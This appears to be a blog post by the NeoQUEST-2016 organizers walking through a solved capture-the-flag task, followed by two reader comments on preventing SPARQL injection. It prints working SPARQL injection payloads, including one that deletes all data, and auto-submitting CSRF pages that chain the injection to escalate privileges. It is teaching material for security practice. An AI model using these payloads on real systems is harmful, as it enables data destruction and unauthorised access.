Уже меньше месяца осталось до «очной ставки» NeoQUEST-2016. Она пройдет в Питере 7 июля, вход традиционно свободный, нужно лишь зарегистрироваться на сайте! Доклады, конкурсы, демонстрации атак, Twitter-викторина — все это (и не только!) ждет гостей мероприятия с 11:00 до 18:00 в КДЦ «Club House».

Тем временем подоспел разбор еще одного задания online-этапа NeoQUEST-2016, и в этот раз поговорим о SPARQL-инъекциях и о CSRF атаках через сообщения Telegram. Задание содержало в себе 3 разных ключа, один ключ получался с помощью SPARQL-инъекции в запросе ID пользователя, второй и третий ключи — с помощью инъекции и CSRF-атаки.

Исходные данные к заданию


Исходными данными для участников были URL сайта и ID бота для Telegram.
При первом посещении сайта пользователю предоставлялась возможность залогиниться/зарегистрироваться. После того, как участники зарегистрировались и залогинились на сайте, им открылся интерфейс небольшого чата, где была возможность отправки сообщений на общую доску. Также каждый участник видел свой ID и надпись «Private DB: no», из чего можно было сделать вывод, что доступа к приватной базе данных у них нет.



Большая часть участников сразу стремилась пообщаться с ботом для Telegram, но он оказался не особо разговорчивым парнем и чаще всего отвечал что-то вроде «Hi how are you?». Поэтому участники достаточно быстро оставляли его в покое и продолжали исследовать сайт.

Первый ключ: реализуем SPARQL-инъекцию


Если зайти на сайт и открыть вкладку «Network» в инструментах разработчика браузера, можно было увидеть следующее обращение на сервер:



Самый интересный запрос — это «get-id», получающий от сервера ID текущего пользователя. Логичным действием была попытка проверить параметры на инъекции. Если скопировать запрос в «cURL» (в контекстном меню Chrome «Copy as cURL») и запустить, получается такой результат:



Входные параметры запроса «type» и «user». А что, если подставить символ «‘» в поле «user»? Сервер вернул ошибку вида:

Lexical error at line 2, column 40.  Encountered: <EOF> after : "\' :hasId ?id }"


Перебираем различные символы, и вот на запрос с символом «<» в конце имени пользователя получается такой ответ:

Encountered " "<" "< "" at line 2, column 26.
Was expecting one of:
    "(" ...
    "!" ...
    "^" ...
    "a" ...
    <Q_IRI_REF> ...
    <PNAME_NS> ...
    <PNAME_LN> ...
    <VAR1> ...
    <VAR2> ...


Немного поискав по просторам Интернета, участники делали вывод о том, что на сервере используется база данных для хранения триплетов, а язык запросов к базе — не что иное, как SPARQL. Судя по ошибке, можно было понять, что параметр не фильтруется, а значит, можно провести SPARQL-инъекцию!

Подробнее о том, что такое SPARQL-инъекция, можно почитать здесь и тут. Суть ее в том, что в тело запроса из внешних данных, кроме необходимых (таких, как, например, id пользователя), может попасть код, дополняющий запрос. Простой пример SPARQL-запроса выглядит следующим образом:

select ?pass where {
	<urn:user1> <urn:hasPassword> ?pass
}


Запрос означает следующее: выбрать пароль (?pass — переменная), где субъект (<urn:user1>) имеет пароль (предикат <urn:hasPassword>) ?pass. В '<>' кавычках указывается полный URN субъекта и, как в данном примере, предиката. Если задавать префикс, то можно ссылаться на субъекты и объекты без угловых кавычек.

Итак, первое, что приходит в голову, анализируя лог ошибки «:hasId ?id }», это подставить вместо предиката «:hasId» переменную «?p», и закомментировать оставшуюся часть запроса:

tester ?p ?id }#


В результате такого запроса будет возвращено имя предиката: <httр://neobit.ru/neoquest#hasId>
Для получения следующего предиката из списка можно было использовать limit offset конструкцию:

tester ?p ?id } limit 1 offset 1#


Вот второй предикат: <httр://neobit.ru/neoquest#hasFirstKey>
И третий: <httр://neobit.ru/neoquest#hasPrivateDatabase>
Предикат hasFirstKey подсказывает, что это первый ключ к заданию. Значит, нужно получить его значение:

tester :hasFirstKey ?id }#


Возвращается значение «0356c848f23540060a84b453dd9cf0e4». Первый ключ добыт!

Второй ключ: реализуем CSRF с помощью посылки Telegram-сообщения


Чуть ниже формы отправки сообщений в чат находилась еще одна форма, предназначенная для отправки личных сообщений пользователю. Но, к сожалению участников NeoQUEST, поля этой формы были не активны. Также в чате была вкладка «Private Messages», внутри которой пусто. Очевидно, там должны были появляться сообщения, адресованные нашему пользователю.



Далее следовало найти код формы и попытаться отправить сообщение самому себе вручную, подставив в поле «To User» логин. Участники, отправляющие себе сообщение, получали в ответ сообщение об ошибке: «Only administrator can send private messages». Значит, приватные сообщения могут отправлять только пользователи, наделенные привилегиями. Тут-то сразу и вспоминался молчаливый бот: а может, он и есть пользователь с нужными нам привилегиями?

Путем проб и ошибок, участниками было обнаружено, что при отправке боту какой-нибудь ссылки, в ответ они получали «Your site is very interesting!», а значит, бот заходил на сайт, ссылка на который ему отправлялась.

Осталось попробовать использовать его привилегии для отправки личного сообщения, проведя так называемую «межсайтовую подделку запроса» или CSRF-атаку! Подробнее о CSRF — тут и там.

Для этого необходим любой бесплатный хостинг и страница с формой отправки. Страница для эксплуатации CSRF-уязвимости может выглядеть примерно следующим образом:

<html>
                <body>

                    <iframe  name="frame"></iframe>

                    <form method="post" action="http://213.170.91.84/users-db/send-message" target="frame" id="form">
                        <input type="hidden" name="title" value="CSRF" />
                        <input type="hidden" name="body" value="CSRF" />
                        <input type="hidden" name="user" value="tester" />
                    </form>

                    <script>document.getElementById('form').submit()</script>

                </body>
</html>


А дальше — два простых шага: отправить ссылку на html-файл боту, зайти во вкладку «Private Messages» — и вот оно, пришедшее сообщение, в заголовке которого находится второй ключ «9235bfeeb0cf939f4cf5075c9c7e13f8»!

Третий ключ: реализация SPARQL через CSRF


Внимательные участники NeoQUEST быстренько вспоминали, что при получении первого ключа они видели в базе данных предикат <httр://neobit.ru/neoquest#hasPrivateDatabase>. Его значение было установлено в «0». А значит, можно попробовать при помощи SPARQL-инъекции установить значение в «1».

Основная форма отправки в общий чат уязвима, входные параметры не фильтруются. Сформируем запрос на удаление из базы всей информации, подставив запрос в тело сообщения:

n"};
            delete {?s ?p ?o}
            where {?s ?p ?o};
            insert data {<http://n#n><http://n#n> "n


После успешного выполнения запроса общий чат сообщений должен очиститься, из базы только что были удалены все сообщения.
Из URL видно, что сообщения хранились в базе данных «messages-db» «http://213.170.91.84/messages-db/send-message», тогда как флаг «hasPrivateDatabase» хранился в базе «users-db» «http://213.170.91.84/users-db/get-id».

При получении второго ключа, для отправки сообщения от имени администратора использовалась CSRF через URL «http://213.170.91.84/users-db/send-message». Это как раз та база, в которой необходимо произвести изменения. Потренировавшись на базе «messages-db», участники стали пробовать произвести SPARQL-инъекцию через CSRF.

Такой запрос может выглядеть примерно следующим образом:

            <html>
                <body>

                    <iframe  name="frame"></iframe>

                    <form method="post" action="http://213.170.84.29/users-db/send-message" target="frame" id="form">
                        <input type="hidden" name="title" value="CSRFCSRF" />
                        <input type='hidden' name='body' value='n"};delete data {:tester :hasPrivateDatabase 0};insert data {:tester :hasPrivateDatabase 1};insert data {<http://n#n><http://n#n> "n' />
                        <input type="hidden" name="user" value="tester" />
                    </form>

                    <script>document.getElementById('form').submit()</script>

                </body>
            </html>


Затем ссылка отправлялась боту. Если всё было сделано правильно, то после обновления главной страницы участники видели третий ключ «c69d16050cda975cd39de» и победную зеленую строчку «Private DB: yes»!



Кстати, один из наших участников опубликовал достаточно подробный write-up по прохождению этого задания, почитать можно тут.

В заключение...


Многие участники, привыкшие к традиционным SQL базам данных, испытали некоторое замешательство, столкнувшись с базой данных для хранения триплетов, обращение к которой требовало использования специального языка запросов SPARQL. Однако довольно быстро оказалось, что ничего сложного тут нет, и эксплуатация инъекций тут также пройдет на ура!

Впереди — остальные разборы заданий online-этапа NeoQUEST-2016, ну и, конечно же, сама «очная ставка», которая пройдет 7 июля в Санкт-Петербурге! В этом году гостей ждет обширная программа докладов и много конкурсов, в которых можно будет выиграть отличные призы! Регистрация открыта на сайте NeoQUEST, так что — вперёд!
Поделиться с друзьями
-->

Комментарии (2)


  1. potan
    10.06.2016 15:17

    К сожалению, мне неизвестны API к SPARQL, которые бы защищали от инъекций. С SQL в этом отношении проще.
    Только Virtuoso поддерживает SPARQL-запросы через ODBC, но тогда завязываешься на одного производителя.


    1. symbix
      11.06.2016 01:42

      Любая реализация query builder-а с типизированными плейсхолдерами подойдет.
      Сходу нагуглился Jena Query Builder.